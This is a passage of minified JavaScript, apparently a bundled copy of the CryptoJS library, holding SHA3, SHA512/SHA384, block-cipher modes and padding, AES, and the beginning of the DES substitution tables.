function (t, e) { for (var r = this._state, i = this.blockSize / 2, n = 0; n < i; n++) { var o = t[e + 2 * n], s = t[e + 2 * n + 1]; o = 16711935 & (o << 8 | o >>> 24) | 4278255360 & (o << 24 | o >>> 8), s = 16711935 & (s << 8 | s >>> 24) | 4278255360 & (s << 24 | s >>> 8), (x = r[n]).high ^= s, x.low ^= o } for (var c = 0; c < 24; c++) { for (var a = 0; a < 5; a++) { for (var h = 0, l = 0, f = 0; f < 5; f++) { h ^= (x = r[a + 5 * f]).high, l ^= x.low } var d = R[a]; d.high = h, d.low = l } for (a = 0; a < 5; a++) { var u = R[(a + 4) % 5], p = R[(a + 1) % 5], _ = p.high, v = p.low; for (h = u.high ^ (_ << 1 | v >>> 31), l = u.low ^ (v << 1 | _ >>> 31), f = 0; f < 5; f++) { (x = r[a + 5 * f]).high ^= h, x.low ^= l } } for (var y = 1; y < 25; y++) { var g = (x = r[y]).high, B = x.low, w = C[y]; l = w < 32 ? (h = g << w | B >>> 32 - w, B << w | g >>> 32 - w) : (h = B << w - 32 | g >>> 64 - w, g << w - 32 | B >>> 64 - w); var k = R[D[y]]; k.high = h, k.low = l } var S = R[0], m = r[0]; S.high = m.high, S.low = m.low; for (a = 0; a < 5; a++)for (f = 0; f < 5; f++) { var x = r[y = a + 5 * f], b = R[y], H = R[(a + 1) % 5 + 5 * f], z = R[(a + 2) % 5 + 5 * f]; x.high = b.high ^ ~H.high & z.high, x.low = b.low ^ ~H.low & z.low } x = r[0]; var A = E[c]; x.high ^= A.high, x.low ^= A.low } }, _doFinalize: function () { var t = this._data, e = t.words, r = (this._nDataBytes, 8 * t.sigBytes), i = 32 * this.blockSize; e[r >>> 5] |= 1 << 24 - r % 32, e[(d.ceil((1 + r) / i) * i >>> 5) - 1] |= 128, t.sigBytes = 4 * e.length, this._process(); for (var n = this._state, o = this.cfg.outputLength / 8, s = o / 8, c = [], a = 0; a < s; a++) { var h = n[a], l = h.high, f = h.low; l = 16711935 & (l << 8 | l >>> 24) | 4278255360 & (l << 24 | l >>> 8), f = 16711935 & (f << 8 | f >>> 24) | 4278255360 & (f << 24 | f >>> 8), c.push(f), c.push(l) } return new u.init(c, o) }, clone: function () { for (var t = i.clone.call(this), e = t._state = this._state.slice(0), r = 0; r < 25; r++)e[r] = e[r].clone(); return t } }); t.SHA3 = i._createHelper(n), t.HmacSHA3 = i._createHmacHelper(n) }(Math), function () { var t = bt, e = t.lib.Hasher, r = t.x64, i = r.Word, n = r.WordArray, o = t.algo; function s() { return i.create.apply(i, arguments) } var mt = [s(1116352408, 3609767458), s(1899447441, 602891725), s(3049323471, 3964484399), s(3921009573, 2173295548), s(961987163, 4081628472), s(1508970993, 3053834265), s(2453635748, 2937671579), s(2870763221, 3664609560), s(3624381080, 2734883394), s(310598401, 1164996542), s(607225278, 1323610764), s(1426881987, 3590304994), s(1925078388, 4068182383), s(2162078206, 991336113), s(2614888103, 633803317), s(3248222580, 3479774868), s(3835390401, 2666613458), s(4022224774, 944711139), s(264347078, 2341262773), s(604807628, 2007800933), s(770255983, 1495990901), s(1249150122, 1856431235), s(1555081692, 3175218132), s(1996064986, 2198950837), s(2554220882, 3999719339), s(2821834349, 766784016), s(2952996808, 2566594879), s(3210313671, 3203337956), s(3336571891, 1034457026), s(3584528711, 2466948901), s(113926993, 3758326383), s(338241895, 168717936), s(666307205, 1188179964), s(773529912, 1546045734), s(1294757372, 1522805485), s(1396182291, 2643833823), s(1695183700, 2343527390), s(1986661051, 1014477480), s(2177026350, 1206759142), s(2456956037, 344077627), s(2730485921, 1290863460), s(2820302411, 3158454273), s(3259730800, 3505952657), s(3345764771, 106217008), s(3516065817, 3606008344), s(3600352804, 1432725776), s(4094571909, 1467031594), s(275423344, 851169720), s(430227734, 3100823752), s(506948616, 1363258195), s(659060556, 3750685593), s(883997877, 3785050280), s(958139571, 3318307427), s(1322822218, 3812723403), s(1537002063, 2003034995), s(1747873779, 3602036899), s(1955562222, 1575990012), s(2024104815, 1125592928), s(2227730452, 2716904306), s(2361852424, 442776044), s(2428436474, 593698344), s(2756734187, 3733110249), s(3204031479, 2999351573), s(3329325298, 3815920427), s(3391569614, 3928383900), s(3515267271, 566280711), s(3940187606, 3454069534), s(4118630271, 4000239992), s(116418474, 1914138554), s(174292421, 2731055270), s(289380356, 3203993006), s(460393269, 320620315), s(685471733, 587496836), s(852142971, 1086792851), s(1017036298, 365543100), s(1126000580, 2618297676), s(1288033470, 3409855158), s(1501505948, 4234509866), s(1607167915, 987167468), s(1816402316, 1246189591)], xt = []; !function () { for (var t = 0; t < 80; t++)xt[t] = s() }(); var c = o.SHA512 = e.extend({ _doReset: function () { this._hash = new n.init([new i.init(1779033703, 4089235720), new i.init(3144134277, 2227873595), new i.init(1013904242, 4271175723), new i.init(2773480762, 1595750129), new i.init(1359893119, 2917565137), new i.init(2600822924, 725511199), new i.init(528734635, 4215389547), new i.init(1541459225, 327033209)]) }, _doProcessBlock: function (t, e) { for (var r = this._hash.words, i = r[0], n = r[1], o = r[2], s = r[3], c = r[4], a = r[5], h = r[6], l = r[7], f = i.high, d = i.low, u = n.high, p = n.low, _ = o.high, v = o.low, y = s.high, g = s.low, B = c.high, w = c.low, k = a.high, S = a.low, m = h.high, x = h.low, b = l.high, H = l.low, z = f, A = d, C = u, D = p, E = _, R = v, M = y, F = g, P = B, W = w, O = k, I = S, U = m, K = x, X = b, L = H, j = 0; j < 80; j++) { var N, T, q = xt[j]; if (j < 16) T = q.high = 0 | t[e + 2 * j], N = q.low = 0 | t[e + 2 * j + 1]; else { var Z = xt[j - 15], V = Z.high, G = Z.low, J = (V >>> 1 | G << 31) ^ (V >>> 8 | G << 24) ^ V >>> 7, $ = (G >>> 1 | V << 31) ^ (G >>> 8 | V << 24) ^ (G >>> 7 | V << 25), Q = xt[j - 2], Y = Q.high, tt = Q.low, et = (Y >>> 19 | tt << 13) ^ (Y << 3 | tt >>> 29) ^ Y >>> 6, rt = (tt >>> 19 | Y << 13) ^ (tt << 3 | Y >>> 29) ^ (tt >>> 6 | Y << 26), it = xt[j - 7], nt = it.high, ot = it.low, st = xt[j - 16], ct = st.high, at = st.low; T = (T = (T = J + nt + ((N = $ + ot) >>> 0 < $ >>> 0 ? 1 : 0)) + et + ((N += rt) >>> 0 < rt >>> 0 ? 1 : 0)) + ct + ((N += at) >>> 0 < at >>> 0 ? 1 : 0), q.high = T, q.low = N } var ht, lt = P & O ^ ~P & U, ft = W & I ^ ~W & K, dt = z & C ^ z & E ^ C & E, ut = A & D ^ A & R ^ D & R, pt = (z >>> 28 | A << 4) ^ (z << 30 | A >>> 2) ^ (z << 25 | A >>> 7), _t = (A >>> 28 | z << 4) ^ (A << 30 | z >>> 2) ^ (A << 25 | z >>> 7), vt = (P >>> 14 | W << 18) ^ (P >>> 18 | W << 14) ^ (P << 23 | W >>> 9), yt = (W >>> 14 | P << 18) ^ (W >>> 18 | P << 14) ^ (W << 23 | P >>> 9), gt = mt[j], Bt = gt.high, wt = gt.low, kt = X + vt + ((ht = L + yt) >>> 0 < L >>> 0 ? 1 : 0), St = _t + ut; X = U, L = K, U = O, K = I, O = P, I = W, P = M + (kt = (kt = (kt = kt + lt + ((ht = ht + ft) >>> 0 < ft >>> 0 ? 1 : 0)) + Bt + ((ht = ht + wt) >>> 0 < wt >>> 0 ? 1 : 0)) + T + ((ht = ht + N) >>> 0 < N >>> 0 ? 1 : 0)) + ((W = F + ht | 0) >>> 0 < F >>> 0 ? 1 : 0) | 0, M = E, F = R, E = C, R = D, C = z, D = A, z = kt + (pt + dt + (St >>> 0 < _t >>> 0 ? 1 : 0)) + ((A = ht + St | 0) >>> 0 < ht >>> 0 ? 1 : 0) | 0 } d = i.low = d + A, i.high = f + z + (d >>> 0 < A >>> 0 ? 1 : 0), p = n.low = p + D, n.high = u + C + (p >>> 0 < D >>> 0 ? 1 : 0), v = o.low = v + R, o.high = _ + E + (v >>> 0 < R >>> 0 ? 1 : 0), g = s.low = g + F, s.high = y + M + (g >>> 0 < F >>> 0 ? 1 : 0), w = c.low = w + W, c.high = B + P + (w >>> 0 < W >>> 0 ? 1 : 0), S = a.low = S + I, a.high = k + O + (S >>> 0 < I >>> 0 ? 1 : 0), x = h.low = x + K, h.high = m + U + (x >>> 0 < K >>> 0 ? 1 : 0), H = l.low = H + L, l.high = b + X + (H >>> 0 < L >>> 0 ? 1 : 0) }, _doFinalize: function () { var t = this._data, e = t.words, r = 8 * this._nDataBytes, i = 8 * t.sigBytes; return e[i >>> 5] |= 128 << 24 - i % 32, e[30 + (128 + i >>> 10 << 5)] = Math.floor(r / 4294967296), e[31 + (128 + i >>> 10 << 5)] = r, t.sigBytes = 4 * e.length, this._process(), this._hash.toX32() }, clone: function () { var t = e.clone.call(this); return t._hash = this._hash.clone(), t }, blockSize: 32 }); t.SHA512 = e._createHelper(c), t.HmacSHA512 = e._createHmacHelper(c) }(), Z = (q = bt).x64, V = Z.Word, G = Z.WordArray, J = q.algo, $ = J.SHA512, Q = J.SHA384 = $.extend({ _doReset: function () { this._hash = new G.init([new V.init(3418070365, 3238371032), new V.init(1654270250, 914150663), new V.init(2438529370, 812702999), new V.init(355462360, 4144912697), new V.init(1731405415, 4290775857), new V.init(2394180231, 1750603025), new V.init(3675008525, 1694076839), new V.init(1203062813, 3204075428)]) }, _doFinalize: function () { var t = $._doFinalize.call(this); return t.sigBytes -= 16, t } }), q.SHA384 = $._createHelper(Q), q.HmacSHA384 = $._createHmacHelper(Q), bt.lib.Cipher || function () { var t = bt, e = t.lib, r = e.Base, a = e.WordArray, i = e.BufferedBlockAlgorithm, n = t.enc, o = (n.Utf8, n.Base64), s = t.algo.EvpKDF, c = e.Cipher = i.extend({ cfg: r.extend(), createEncryptor: function (t, e) { return this.create(this._ENC_XFORM_MODE, t, e) }, createDecryptor: function (t, e) { return this.create(this._DEC_XFORM_MODE, t, e) }, init: function (t, e, r) { this.cfg = this.cfg.extend(r), this._xformMode = t, this._key = e, this.reset() }, reset: function () { i.reset.call(this), this._doReset() }, process: function (t) { return this._append(t), this._process() }, finalize: function (t) { return t && this._append(t), this._doFinalize() }, keySize: 4, ivSize: 4, _ENC_XFORM_MODE: 1, _DEC_XFORM_MODE: 2, _createHelper: function (i) { return { encrypt: function (t, e, r) { return h(e).encrypt(i, t, e, r) }, decrypt: function (t, e, r) { return h(e).decrypt(i, t, e, r) } } } }); function h(t) { return "string" == typeof t ? w : g } e.StreamCipher = c.extend({ _doFinalize: function () { return this._process(!0) }, blockSize: 1 }); var l, f = t.mode = {}, d = e.BlockCipherMode = r.extend({ createEncryptor: function (t, e) { return this.Encryptor.create(t, e) }, createDecryptor: function (t, e) { return this.Decryptor.create(t, e) }, init: function (t, e) { this._cipher = t, this._iv = e } }), u = f.CBC = ((l = d.extend()).Encryptor = l.extend({ processBlock: function (t, e) { var r = this._cipher, i = r.blockSize; p.call(this, t, e, i), r.encryptBlock(t, e), this._prevBlock = t.slice(e, e + i) } }), l.Decryptor = l.extend({ processBlock: function (t, e) { var r = this._cipher, i = r.blockSize, n = t.slice(e, e + i); r.decryptBlock(t, e), p.call(this, t, e, i), this._prevBlock = n } }), l); function p(t, e, r) { var i, n = this._iv; n ? (i = n, this._iv = void 0) : i = this._prevBlock; for (var o = 0; o < r; o++)t[e + o] ^= i[o] } var _ = (t.pad = {}).Pkcs7 = { pad: function (t, e) { for (var r = 4 * e, i = r - t.sigBytes % r, n = i << 24 | i << 16 | i << 8 | i, o = [], s = 0; s < i; s += 4)o.push(n); var c = a.create(o, i); t.concat(c) }, unpad: function (t) { var e = 255 & t.words[t.sigBytes - 1 >>> 2]; t.sigBytes -= e } }, v = (e.BlockCipher = c.extend({ cfg: c.cfg.extend({ mode: u, padding: _ }), reset: function () { var t; c.reset.call(this); var e = this.cfg, r = e.iv, i = e.mode; this._xformMode == this._ENC_XFORM_MODE ? t = i.createEncryptor : (t = i.createDecryptor, this._minBufferSize = 1), this._mode && this._mode.__creator == t ? this._mode.init(this, r && r.words) : (this._mode = t.call(i, this, r && r.words), this._mode.__creator = t) }, _doProcessBlock: function (t, e) { this._mode.processBlock(t, e) }, _doFinalize: function () { var t, e = this.cfg.padding; return this._xformMode == this._ENC_XFORM_MODE ? (e.pad(this._data, this.blockSize), t = this._process(!0)) : (t = this._process(!0), e.unpad(t)), t }, blockSize: 4 }), e.CipherParams = r.extend({ init: function (t) { this.mixIn(t) }, toString: function (t) { return (t || this.formatter).stringify(this) } })), y = (t.format = {}).OpenSSL = { stringify: function (t) { var e = t.ciphertext, r = t.salt; return (r ? a.create([1398893684, 1701076831]).concat(r).concat(e) : e).toString(o) }, parse: function (t) { var e, r = o.parse(t), i = r.words; return 1398893684 == i[0] && 1701076831 == i[1] && (e = a.create(i.slice(2, 4)), i.splice(0, 4), r.sigBytes -= 16), v.create({ ciphertext: r, salt: e }) } }, g = e.SerializableCipher = r.extend({ cfg: r.extend({ format: y }), encrypt: function (t, e, r, i) { i = this.cfg.extend(i); var n = t.createEncryptor(r, i), o = n.finalize(e), s = n.cfg; return v.create({ ciphertext: o, key: r, iv: s.iv, algorithm: t, mode: s.mode, padding: s.padding, blockSize: t.blockSize, formatter: i.format }) }, decrypt: function (t, e, r, i) { return i = this.cfg.extend(i), e = this._parse(e, i.format), t.createDecryptor(r, i).finalize(e.ciphertext) }, _parse: function (t, e) { return "string" == typeof t ? e.parse(t, this) : t } }), B = (t.kdf = {}).OpenSSL = { execute: function (t, e, r, i) { i = i || a.random(8); var n = s.create({ keySize: e + r }).compute(t, i), o = a.create(n.words.slice(e), 4 * r); return n.sigBytes = 4 * e, v.create({ key: n, iv: o, salt: i }) } }, w = e.PasswordBasedCipher = g.extend({ cfg: g.cfg.extend({ kdf: B }), encrypt: function (t, e, r, i) { var n = (i = this.cfg.extend(i)).kdf.execute(r, t.keySize, t.ivSize); i.iv = n.iv; var o = g.encrypt.call(this, t, e, n.key, i); return o.mixIn(n), o }, decrypt: function (t, e, r, i) { i = this.cfg.extend(i), e = this._parse(e, i.format); var n = i.kdf.execute(r, t.keySize, t.ivSize, e.salt); return i.iv = n.iv, g.decrypt.call(this, t, e, n.key, i) } }) }(), bt.mode.CFB = ((Y = bt.lib.BlockCipherMode.extend()).Encryptor = Y.extend({ processBlock: function (t, e) { var r = this._cipher, i = r.blockSize; Dt.call(this, t, e, i, r), this._prevBlock = t.slice(e, e + i) } }), Y.Decryptor = Y.extend({ processBlock: function (t, e) { var r = this._cipher, i = r.blockSize, n = t.slice(e, e + i); Dt.call(this, t, e, i, r), this._prevBlock = n } }), Y), bt.mode.ECB = ((tt = bt.lib.BlockCipherMode.extend()).Encryptor = tt.extend({ processBlock: function (t, e) { this._cipher.encryptBlock(t, e) } }), tt.Decryptor = tt.extend({ processBlock: function (t, e) { this._cipher.decryptBlock(t, e) } }), tt), bt.pad.AnsiX923 = { pad: function (t, e) { var r = t.sigBytes, i = 4 * e, n = i - r % i, o = r + n - 1; t.clamp(), t.words[o >>> 2] |= n << 24 - o % 4 * 8, t.sigBytes += n }, unpad: function (t) { var e = 255 & t.words[t.sigBytes - 1 >>> 2]; t.sigBytes -= e } }, bt.pad.Iso10126 = { pad: function (t, e) { var r = 4 * e, i = r - t.sigBytes % r; t.concat(bt.lib.WordArray.random(i - 1)).concat(bt.lib.WordArray.create([i << 24], 1)) }, unpad: function (t) { var e = 255 & t.words[t.sigBytes - 1 >>> 2]; t.sigBytes -= e } }, bt.pad.Iso97971 = { pad: function (t, e) { t.concat(bt.lib.WordArray.create([2147483648], 1)), bt.pad.ZeroPadding.pad(t, e) }, unpad: function (t) { bt.pad.ZeroPadding.unpad(t), t.sigBytes-- } }, bt.mode.OFB = (et = bt.lib.BlockCipherMode.extend(), rt = et.Encryptor = et.extend({ processBlock: function (t, e) { var r = this._cipher, i = r.blockSize, n = this._iv, o = this._keystream; n && (o = this._keystream = n.slice(0), this._iv = void 0), r.encryptBlock(o, 0); for (var s = 0; s < i; s++)t[e + s] ^= o[s] } }), et.Decryptor = rt, et), bt.pad.NoPadding = { pad: function () { }, unpad: function () { } }, it = bt.lib.CipherParams, nt = bt.enc.Hex, bt.format.Hex = { stringify: function (t) { return t.ciphertext.toString(nt) }, parse: function (t) { var e = nt.parse(t); return it.create({ ciphertext: e }) } }, function () { var t = bt, e = t.lib.BlockCipher, r = t.algo, h = [], l = [], f = [], d = [], u = [], p = [], _ = [], v = [], y = [], g = []; !function () { for (var t = [], e = 0; e < 256; e++)t[e] = e < 128 ? e << 1 : e << 1 ^ 283; var r = 0, i = 0; for (e = 0; e < 256; e++) { var n = i ^ i << 1 ^ i << 2 ^ i << 3 ^ i << 4; n = n >>> 8 ^ 255 & n ^ 99, h[r] = n; var o = t[l[n] = r], s = t[o], c = t[s], a = 257 * t[n] ^ 16843008 * n; f[r] = a << 24 | a >>> 8, d[r] = a << 16 | a >>> 16, u[r] = a << 8 | a >>> 24, p[r] = a; a = 16843009 * c ^ 65537 * s ^ 257 * o ^ 16843008 * r; _[n] = a << 24 | a >>> 8, v[n] = a << 16 | a >>> 16, y[n] = a << 8 | a >>> 24, g[n] = a, r ? (r = o ^ t[t[t[c ^ o]]], i ^= t[t[i]]) : r = i = 1 } }(); var B = [0, 1, 2, 4, 8, 16, 32, 64, 128, 27, 54], i = r.AES = e.extend({ _doReset: function () { if (!this._nRounds || this._keyPriorReset !== this._key) { for (var t = this._keyPriorReset = this._key, e = t.words, r = t.sigBytes / 4, i = 4 * (1 + (this._nRounds = 6 + r)), n = this._keySchedule = [], o = 0; o < i; o++)o < r ? n[o] = e[o] : (a = n[o - 1], o % r ? 6 < r && o % r == 4 && (a = h[a >>> 24] << 24 | h[a >>> 16 & 255] << 16 | h[a >>> 8 & 255] << 8 | h[255 & a]) : (a = h[(a = a << 8 | a >>> 24) >>> 24] << 24 | h[a >>> 16 & 255] << 16 | h[a >>> 8 & 255] << 8 | h[255 & a], a ^= B[o / r | 0] << 24), n[o] = n[o - r] ^ a); for (var s = this._invKeySchedule = [], c = 0; c < i; c++) { o = i - c; if (c % 4) var a = n[o]; else a = n[o - 4]; s[c] = c < 4 || o <= 4 ? a : _[h[a >>> 24]] ^ v[h[a >>> 16 & 255]] ^ y[h[a >>> 8 & 255]] ^ g[h[255 & a]] } } }, encryptBlock: function (t, e) { this._doCryptBlock(t, e, this._keySchedule, f, d, u, p, h) }, decryptBlock: function (t, e) { var r = t[e + 1]; t[e + 1] = t[e + 3], t[e + 3] = r, this._doCryptBlock(t, e, this._invKeySchedule, _, v, y, g, l); r = t[e + 1]; t[e + 1] = t[e + 3], t[e + 3] = r }, _doCryptBlock: function (t, e, r, i, n, o, s, c) { for (var a = this._nRounds, h = t[e] ^ r[0], l = t[e + 1] ^ r[1], f = t[e + 2] ^ r[2], d = t[e + 3] ^ r[3], u = 4, p = 1; p < a; p++) { var _ = i[h >>> 24] ^ n[l >>> 16 & 255] ^ o[f >>> 8 & 255] ^ s[255 & d] ^ r[u++], v = i[l >>> 24] ^ n[f >>> 16 & 255] ^ o[d >>> 8 & 255] ^ s[255 & h] ^ r[u++], y = i[f >>> 24] ^ n[d >>> 16 & 255] ^ o[h >>> 8 & 255] ^ s[255 & l] ^ r[u++], g = i[d >>> 24] ^ n[h >>> 16 & 255] ^ o[l >>> 8 & 255] ^ s[255 & f] ^ r[u++]; h = _, l = v, f = y, d = g } _ = (c[h >>> 24] << 24 | c[l >>> 16 & 255] << 16 | c[f >>> 8 & 255] << 8 | c[255 & d]) ^ r[u++], v = (c[l >>> 24] << 24 | c[f >>> 16 & 255] << 16 | c[d >>> 8 & 255] << 8 | c[255 & h]) ^ r[u++], y = (c[f >>> 24] << 24 | c[d >>> 16 & 255] << 16 | c[h >>> 8 & 255] << 8 | c[255 & l]) ^ r[u++], g = (c[d >>> 24] << 24 | c[h >>> 16 & 255] << 16 | c[l >>> 8 & 255] << 8 | c[255 & f]) ^ r[u++]; t[e] = _, t[e + 1] = v, t[e + 2] = y, t[e + 3] = g }, keySize: 8 }); t.AES = e._createHelper(i) }(), function () { var t = bt, e = t.lib, n = e.WordArray, r = e.BlockCipher, i = t.algo, h = [57, 49, 41, 33, 25, 17, 9, 1, 58, 50, 42, 34, 26, 18, 10, 2, 59, 51, 43, 35, 27, 19, 11, 3, 60, 52, 44, 36, 63, 55, 47, 39, 31, 23, 15, 7, 62, 54, 46, 38, 30, 22, 14, 6, 61, 53, 45, 37, 29, 21, 13, 5, 28, 20, 12, 4], l = [14, 17, 11, 24, 1, 5, 3, 28, 15, 6, 21, 10, 23, 19, 12, 4, 26, 8, 16, 7, 27, 20, 13, 2, 41, 52, 31, 37, 47, 55, 30, 40, 51, 45, 33, 48, 44, 49, 39, 56, 34, 53, 46, 42, 50, 36, 29, 32], f = [1, 2, 4, 6, 8, 10, 12, 14, 15, 17, 19, 21, 23, 25, 27, 28], d = [{ 0: 8421888, 268435456: 32768, 536870912: 8421378, 805306368: 2, 1073741824: 512, 1342177280: 8421890, 1610612736: 8389122, 1879048192: 8388608, 2147483648: 514, 2415919104: 8389120, 2684354560: 33280, 2952790016: 8421376, 3221225472: 32770, 3489660928: 8388610, 3758096384: 0, 4026531840: 33282, 134217728: 0, 402653184: 8421890, 671088640: 33282, 939524096: 32768, 1207959552: 8421888, 1476395008: 512, 1744830464: 8421378, 2013265920: 2, 2281701376: 8389120, 2550136832: 33280, 2818572288: 8421376, 3087007744: 8389122, 3355443200: 8388610, 3623878656: 32770, 3892314112: 514, 4160749568: 8388608, 1: 32768, 268435457: 2, 536870913: 8421888, 805306369: 8388608, 1073741825: 8421378, 1342177281: 33280, 1610612737: 512, 1879048193: 8389122, 2147483649: 8421890, 2415919105: 8421376, 2684354561: 8388610, 2952790017: 33282, 3221225473: 514, 3489660929: 8389120, 3758096385: 32770, 4026531841: 0, 134217729: 8421890, 402653185: 8421376, 671088641: 8388608, 939524097: 512, 1207959553: 32768, 1476395009: 8388610, 1744830465: 2, 2013265921: 33282, 2281701377: 32770, 2550136833: 8389122, 2818572289: 514, 3087007745: 8421888, 3355443201: 8389120, 3623878657: 0, 3892314113: 33280, 4160749569: 8421378 }, { 0: 1074282512, 16777216: 16384, 33554432: 524288, 50331648: 1074266128, 67108864: 1073741840, 83886080: 1074282496, 100663296: 1073758208, 117440512: 16, 134217728: 540672, 150994944: 1073758224, 167772160: 1073741824, 184549376: 540688, 201326592: 524304, 218103808: 0, 234881024: 16400, 251658240: 1074266112, 8388608: 1073758208, 25165824: 540688, 41943040: 16, 58720256: 1073758224, 75497472: 1074282512, 92274688: 1073741824, 109051904: 524288, 125829120: 1074266128, 142606336: 524304, 159383552: 0, 176160768: 16384, 192937984: 1074266112, 209715200: 1073741840, 226492416: 540672, 243269632: 1074282496, 260046848: 16400, 268435456: 0, 285212672: 1074266128, 301989888: 1073758224, 318767104: 1074282496, 335544320: 1074266112, 352321536: 16, 369098752: 540688, 385875968: 16384, 402653184: 16400, 419430400: 524288, 436207616: 524304, 452984832: 1073741840, 469762048: 540672, 486539264: 1073758208, 503316480: 1073741824, 520093696: 1074282512, 276824064: 540688, 293601280: 524288, 310378496: 1074266112, 327155712: 16384, 343932928: 1073758208, 360710144: 1074282512, 377487360: 16, 394264576: 1073741824, 411041792: 1074282496, 427819008: 1073741840, 444596224: 1073758224, 461373440: 524304, 478150656: 0, 494927872: 16400, 511705088: 1074266128, 528482304: 540672 }, { 0: 260, 1048576: 0, 2097152: 67109120, 3145728: 65796, 4194304: 65540, 5242880: 67108868, 6291456: 67174660, 7340032: 67174400, 8388608: 67108864, 9437184: 67174656, 10485760: 65792, 11534336: 67174404, 12582912: 67109124, 13631488: 65536, 14680064: 4, 15728640: 256, 524288: 67174656, 1572864: 67174404, 2621440: 0, 3670016: 67109120, 4718592: 67108868, 5767168: 65536, 6815744: 65540, 7864320: 260, 8912896: 4, 9961472: 256, 11010048: 67174400, 12058624: 65796, 13107200: 65792, 14155776: 67109124, 15204352: 67174660, 16252928: 67108864, 16777216: 67174656, 17825792: 65540, 18874368: 65536, 19922944: 67109120, 20971520: 256, 22020096: 67174660, 23068672: 67108868, 24117248: 0, 25165824: 67109124, 26214400: 67108864, 27262976: 4, 28311552: 65792, 29360128: 67174400, 30408704: 260, 31457280: 65796, 32505856: 67174404, 17301504: 67108864, 18350080: 260, 19398656: 67174656, 20447232: 0, 21495808: 65540, 22544384: 67109120, 23592960: 256, 24641536: 67174404, 25690112: 65536, 26738688: 67174660, 27787264: 65796, 28835840: 67108868, 29884416: 67109124, 30932992: 67174400, 31981568: 4, 33030144: 65792 }, { 0: 2151682048, 65536: 2147487808, 131072: 4198464, 196608: 2151677952, 262144: 0, 327680: 4198400, 393216: 2147483712, 458752: 4194368, 524288: 2147483648, 589824: 4194304, 655360: 64, 720896: 2147487744, 786432: 2151678016, 851968: 4160, 917504: 4096, 983040: 2151682112, 32768: 2147487808, 98304: 64, 163840: 2151678016, 229376: 2147487744, 294912: 4198400, 360448: 2151682112, 425984: 0, 491520: 2151677952, 557056: 4096, 622592: 2151682048, 688128: 4194304, 753664: 4160, 819200: 2147483648, 884736: 4194368, 950272: 4198464, 1015808: 2147483712, 1048576: 4194368, 1114112: 4198400, 1179648: 2147483712, 1245184: 0, 1310720: 4160, 1376256: 2151678016, 1441792: 2151682048, 1507328: 2147487808, 1572864: 2151682112, 1638400: 2147483648, 1703936: 2151677952, 1769472: 4198464, 1835008: 2147487744, 1900544: 4194304, 1966080: 64, 2031616: 4096, 1081344: 2151677952, 1146880: 2151682112, 1212416: 0, 1277952: 4198400, 1343488: 4194368, 1409024: 2147483648, 1474560: 2147487808, 1540096: 64, 1605632: 2147483712, 1671168: 4096, 1736704: 2147487744, 1802240: 2151678016, 1867776: 4160, 1933312: 2151682048, 1998848: 4194304, 2064384: 4198464 }, { 0: 128, 4096: 17039360, 8192: 262144, 12288: 536870912, 16384: 537133184, 20480: 16777344, 24576: 553648256, 28672: 262272, 32768: 16777216, 36864: 537133056, 40960: 536871040, 45056: 553910400, 49152: 553910272, 53248: 0, 57344: 17039488, 61440: 553648128, 2048: 17039488, 6144: 553648256, 10240: 128, 14336: 17039360, 18432: 262144, 22528: 537133184, 26624: 553910272, 30720: 536870912, 34816: 537133056, 38912: 0, 43008: 553910400, 47104: 16777344, 51200: 536871040, 55296: 553648128, 59392: 16777216, 63488: 262272, 65536: 262144, 69632: 128, 73728: 536870912, 77824: 553648256, 81920: 16777344, 86016: 553910272, 90112: 537133184, 94208: 16777216, 98304: 553910400, 102400: 553648128, 106496: 17039360, 110592: 537133056, 114688: 262272, 118784: 536871040, 122880: 0, 126976: 17039488, 67584: 553648256, 71680: 16777216, 75776: 17039360, 79872: 537133184, 83968: 536870912, 88064: 17039488, 92160: 128, 96256: 553910272, 100352: 262272, 104448: 553910400, 108544: 0, 112640: 553648128, 116736: 16777344, 120832: 262144, 124928: 537133056, 129024: 536871040 }, { 0: 268435464, 256: 8192, 512: 270532608, 768: 270540808, 1024: 268443648, 1280: 2097152, 1536: 2097160, 1792: 268435456, 2048: 0, 2304: 268443656, 2560: 2105344, 2816: 8, 3072: 270532616, 3328: 2105352, 3584: 8200, 3840: 270540800, 128: 270532608, 384: 270540808, 640: 8, 896: 2097152, 1152: 2105352, 1408: 268435464, 1664: 268443648, 1920: 8200, 2176: 2097160, 2432: 8192, 2688: 268443656, 2944: 270532616, 3200: 0, 3456: 270540800, 3712: 2105344, 3968: 268435456, 4096: 268443648, 4352: 270532616, 4608: 270540808, 4864: 8200, 5120: 2097152, 5376: 268435456, 5632: 268435464, 5888: 2105344, 6144: 2105352, 6400: 0, 6656: 8, 6912: 270532608, 7168: 8192, 7424: 268443656, 7680: 270540800, 7936: 2097160, 4224: 8, 4480: 2105344, 4736: 2097152, 4992: 268435464, 5248: 268443648, 5504: 8200, 5760: 270540808, 6016: 270532608, 6272: 270540800, 6528: 270532616, 6784: 8192, 7040: 2105352, 7296: 2097160, 7552: 0, 7808: 268435456, 8064: 268443656 }, { 0: 1048576, 16: 33555457, 32: 1024, 48: 1049601, 64: 34604033, 80: 0, 96: 1, 112: 34603009, 128: 33555456, 144: 1048577, 160: 33554433, 176: 34604032, 192: 34603008, 208: 1025, 224: 1049600, 240: 33554432, 8: 34603009, 24: 0, 40: 33555457, 56: 34604032, 72: 1048576, 88: 33554433, 104: 33554432, 120: 1025, 136: 1049601, 152: 33555456, 168: 34603008, 184: 1048577, 200: 1024, 216: 34604033, 232: 1, 248: 1049600, 256: 33554432, 272: 1048576, 288: 33555457, 304: 34603009, 320: 1048577, 336: 33555456, 352: 34604032, 368: 1049601, 384: 1025, 400: 34604033, 416: 1049600, 432: 1, 448: 0, 464: 34603008, 480: 33554433, 496: 1024, 264: 1049600, 280: 33555457, 296: 34603009, 312: 1, 328: 33554432, 344: 1048576, 360: 1025, 376: 34604032, 392: 33554433, 408: 34603008, 424: 0, 440: 34604033, 456: 1049601, 472: 1024, 488: 33555456, 504: 1048577 }, { 0: 134219808, 1: 131072, 2: 134217728, 3: 32, 4: 131104, 5: 134350880, 6: 134350848, 7: 2048, 8: 134348800, 9: 134219776, 10: 133120, 11: 134348832, 12: 2080, 13: 0, 14: 134217760, 15: 133152, 2147483648: 2048, 2147483649: 134350880, 2147483650: 134219808, 2147483651: 134217728, 2147483652: 134348800, 2147483653: 133120, 2147483654: 133152, 2147483655: 32, 2147483656: 134217760, 2147483657: 2080, 2147483658: 131104, 2147483659: 134350848, 2147483660: 0, 2147483661: 134348832, 2147483662: 134219776, 2147483663: 131072, 16: 133152, 17: 134350848, 18: 32, 19: 2048, 20: 134219776, 21: 134217760, 22: 134348832, 23: 131072, 24: 0, 25: 131104, 26: 134348800, 27: 134219808, 28: 134350880, 29: 133120, 30: 